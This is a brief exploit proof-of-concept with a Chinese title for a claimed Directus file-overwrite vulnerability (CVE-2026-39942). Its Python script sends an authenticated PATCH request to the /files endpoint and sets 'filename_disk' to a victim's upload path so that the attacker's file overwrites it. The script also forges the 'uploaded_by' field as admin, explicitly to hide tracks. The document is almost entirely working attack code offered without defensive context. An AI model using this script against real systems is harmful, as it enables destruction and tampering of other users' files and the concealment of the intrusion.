CVE-2026-39942 Directus文件覆盖漏洞

import requests # Target configuration target_url = "http://localhost:8080" attacker_token = "YOUR_ACCESS_TOKEN" file_id_to_control = "1" # ID of a file the attacker controls # Path on disk where the victim's file is stored (e.g., another user's upload) victim_disk_path = "uploads/victim_sensitive_file.pdf" headers = { "Authorization": f"Bearer {attacker_token}", "Content-Type": "application/json" } # Payload to overwrite the victim's file using the attacker's controlled file ID payload = { "filename_disk": victim_disk_path, # Vulnerable parameter: Path traversal/overwrite "data": "base64_encoded_content_of_malicious_file", "uploaded_by": "admin" # Tamper with metadata to hide tracks } # Send the malicious PATCH request response = requests.patch( f"{target_url}/files/{file_id_to_control}", json=payload, headers=headers ) if response.status_code == 200: print("[+] Exploit successful: File overwritten.") else: print(f"[-] Exploit failed: {response.text}")